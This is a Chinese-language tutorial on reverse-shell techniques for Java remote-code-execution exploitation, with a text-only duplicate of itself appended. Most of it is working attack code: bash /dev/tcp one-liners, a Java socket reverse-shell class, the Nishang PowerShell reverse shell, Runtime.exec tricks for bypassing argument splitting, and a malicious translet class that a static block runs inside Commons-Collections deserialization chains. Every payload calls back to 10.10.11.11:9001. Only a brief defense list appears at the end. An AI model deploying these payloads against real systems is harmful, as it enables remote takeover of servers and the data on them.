Java RCE场景下的RevShell技术全解析
字数 1514 2025-12-19 12:08:27

Java RCE场景下的RevShell技术全解析

1. Linux反弹Shell命令解析

1.1 基础反弹命令

bash -i >& /dev/tcp/10.10.11.11/9001 0>&1

1.2 符号作用解析

  • &符号作用:当<>后面跟&时,指向的是文件描述符而非文件名
  • >&m:输出到文件描述符m所指向的文件
  • <&m:从文件描述符m所指向的文件读取输入

1.3 命令详细解读

完整版本:bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1

执行流程

  1. bash -i启动新的交互shell
  2. >(即1>)将标准输出重定向到TCP Socket
  3. 2>&1将标准错误重定向到标准输出(TCP Socket)
  4. 0>&1将标准输入重定向到标准输出(TCP Socket)

最终状态

  • fd 0(stdin)→ 网络连接
  • fd 1(stdout)→ 网络连接
  • fd 2(stderr)→ 网络连接

1.4 等价变形

bash -i >& /dev/tcp/10.10.11.11/9001 0<&1

2. Runtime.exec()方法深度分析

2.1 Windows平台实现

方法重载

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

执行流程

  1. 使用StringTokenizer按空格、\t\n\r\f分割命令字符串
  2. 创建ProcessBuilder对象
  3. 调用ProcessImpl.start()方法
  4. 最终通过native方法create()创建进程

关键调用栈

create:593, ProcessImpl (java.lang)
<init>:453, ProcessImpl (java.lang)
start:139, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:621, Runtime (java.lang)

2.2 Linux平台实现

调用栈

java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)

3. Windows反弹Shell技术

3.1 Socket连接方式

package com.lingx5.windows;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell {
    private void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }
    
    public void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();
            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        }
    }
}

使用示例

// 反弹cmd shell
new JavaSocketRevShell().conn("10.10.11.11", 9001, "cmd.exe", "/k");

// 反弹powershell shell
new JavaSocketRevShell().conn("10.10.11.11", 9001, "powershell.exe");

3.2 PowerShell命令方式

Nishang框架Payload

$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close()

Java实现

public class ExecRevShell {
    public static void main(String[] args) throws Exception {
        String ip = "'10.10.11.11'";
        int port = 9001;
        String cmd = "$client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
            "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
        Runtime.getRuntime().exec("powershell.exe "+cmd);
    }
}

4. Linux反弹Shell技术

4.1 Socket连接方式

使用相同的JavaSocketRevShell类,传入bash命令:

new JavaSocketRevShell().conn("10.10.11.11", 9001, "/bin/bash");

4.2 Bash命令方式

4.2.1 字符数组方式(推荐)

public class ExecRevShell {
    public static void main(String[] args) {
        try {
            String[] cmd = new String[]{
                "bash",
                "-c", 
                "bash -i >& /dev/tcp/10.10.11.11/9001 0>&1"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4.2.2 字符串方式(需要特殊构造)

错误Payload

Runtime.getRuntime().exec("bash -c \"$*\" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");

正确Payload

// 方式1
Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");

// 方式2  
Runtime.getRuntime().exec("bash -c $*|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");

原理分析

  1. StringTokenizer分词:["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.11.11/9001", "0>&1"]
  2. bash -c执行$@|bash$@被填充为后续参数
  3. echo输出反弹shell命令字符串
  4. 通过管道|传递给新的bash执行

5. 与反序列化漏洞结合

5.1 类加载方式(CC3/CC4链)

5.1.1 恶意类构造

package com.lingx5.windows;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell extends AbstractTranslet {
    private static void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }
    
    public static void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();
            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        }
    }
    
    // 静态代码块中执行反弹shell
    static {
        new Thread(() -> {
            try {
                conn("10.10.11.11", 9001, "powershell.exe");
            } catch (Exception e) {
            }
        }).start();
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

5.1.2 CC3反序列化链

public class ClassLoaderRevShell {
    public static byte[] getEvil() throws Exception {
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.get("com.lingx5.windows.JavaSocketRevShell");
        return evil.toBytecode();
    }
    
    public static void main(String[] args) throws Exception {
        byte[] evilBytes = getEvil();
        TemplatesImpl templates = new TemplatesImpl();
        // 设置templates的相关字段...
        
        Transformer[] transformers = {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class}, 
                new Object[]{templates}
            )
        };
        
        ChainedTransformer chain = new ChainedTransformer(transformers);
        // 构造完整的反序列化链...
    }
}

5.2 命令执行方式(CC1/CC6链)

5.2.1 CC6链示例

public class CC6RevShell {
    public static void main(String[] args) throws Exception {
        String ip = "'10.10.11.11'";
        int port = 9001;
        String cmd = "powershell.exe $client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
            "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
        
        Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class},
                new Object[]{cmd})
        };
        
        ChainedTransformer chain = new ChainedTransformer(transformers);
        // 构造完整的CC6反序列化链...
    }
}

6. 关键技术要点

6.1 平台差异处理

  • Windows:使用cmd.exe /kpowershell.exe
  • Linux:使用/bin/bash/bin/sh

6.2 线程资源管理

在静态代码块中使用新线程执行反弹shell,避免JVM资源回收:

static {
    new Thread(() -> {
        try {
            conn("10.10.11.11", 9001, "powershell.exe");
        } catch (Exception e) {
        }
    }).start();
}

6.3 命令构造技巧

  • 使用字符数组避免StringTokenizer错误分割
  • 利用bash的$@$*参数扩展特性
  • 通过管道符连接多个命令执行

7. 防御建议

  1. 严格过滤用户输入,避免命令注入
  2. 使用安全管理器限制执行权限
  3. 及时更新依赖库,修复已知反序列化漏洞
  4. 实施网络层防护,限制出站连接
  5. 使用代码审计工具检测潜在风险

本文详细解析了Java RCE场景下各种反弹Shell技术的实现原理和具体方法,涵盖了Windows/Linux双平台、多种执行方式以及与反序列化漏洞的结合利用。

Java RCE场景下的RevShell技术全解析 1. Linux反弹Shell命令解析 1.1 基础反弹命令 1.2 符号作用解析 & 符号作用 :当 < 或 > 后面跟 & 时,指向的是文件描述符而非文件名 >&m :输出到文件描述符m所指向的文件 <&m :从文件描述符m所指向的文件读取输入 1.3 命令详细解读 完整版本: bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1 执行流程 : bash -i 启动新的交互shell > (即 1> )将标准输出重定向到TCP Socket 2>&1 将标准错误重定向到标准输出(TCP Socket) 0>&1 将标准输入重定向到标准输出(TCP Socket) 最终状态 : fd 0(stdin)→ 网络连接 fd 1(stdout)→ 网络连接 fd 2(stderr)→ 网络连接 1.4 等价变形 2. Runtime.exec()方法深度分析 2.1 Windows平台实现 方法重载 : 执行流程 : 使用 StringTokenizer 按空格、 \t 、 \n 、 \r 、 \f 分割命令字符串 创建 ProcessBuilder 对象 调用 ProcessImpl.start() 方法 最终通过native方法 create() 创建进程 关键调用栈 : 2.2 Linux平台实现 调用栈 : 3. Windows反弹Shell技术 3.1 Socket连接方式 使用示例 : 3.2 PowerShell命令方式 Nishang框架Payload : Java实现 : 4. Linux反弹Shell技术 4.1 Socket连接方式 使用相同的 JavaSocketRevShell 类,传入bash命令: 4.2 Bash命令方式 4.2.1 字符数组方式(推荐) 4.2.2 字符串方式(需要特殊构造) 错误Payload : 正确Payload : 原理分析 : StringTokenizer 分词: ["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.11.11/9001", "0>&1"] bash -c 执行 $@|bash , $@ 被填充为后续参数 echo 输出反弹shell命令字符串 通过管道 | 传递给新的bash执行 5. 与反序列化漏洞结合 5.1 类加载方式(CC3/CC4链) 5.1.1 恶意类构造 5.1.2 CC3反序列化链 5.2 命令执行方式(CC1/CC6链) 5.2.1 CC6链示例 6. 关键技术要点 6.1 平台差异处理 Windows :使用 cmd.exe /k 或 powershell.exe Linux :使用 /bin/bash 或 /bin/sh 6.2 线程资源管理 在静态代码块中使用新线程执行反弹shell,避免JVM资源回收: 6.3 命令构造技巧 使用字符数组避免 StringTokenizer 错误分割 利用bash的 $@ 和 $* 参数扩展特性 通过管道符连接多个命令执行 7. 防御建议 严格过滤用户输入,避免命令注入 使用安全管理器限制执行权限 及时更新依赖库,修复已知反序列化漏洞 实施网络层防护,限制出站连接 使用代码审计工具检测潜在风险 本文详细解析了Java RCE场景下各种反弹Shell技术的实现原理和具体方法,涵盖了Windows/Linux双平台、多种执行方式以及与反序列化漏洞的结合利用。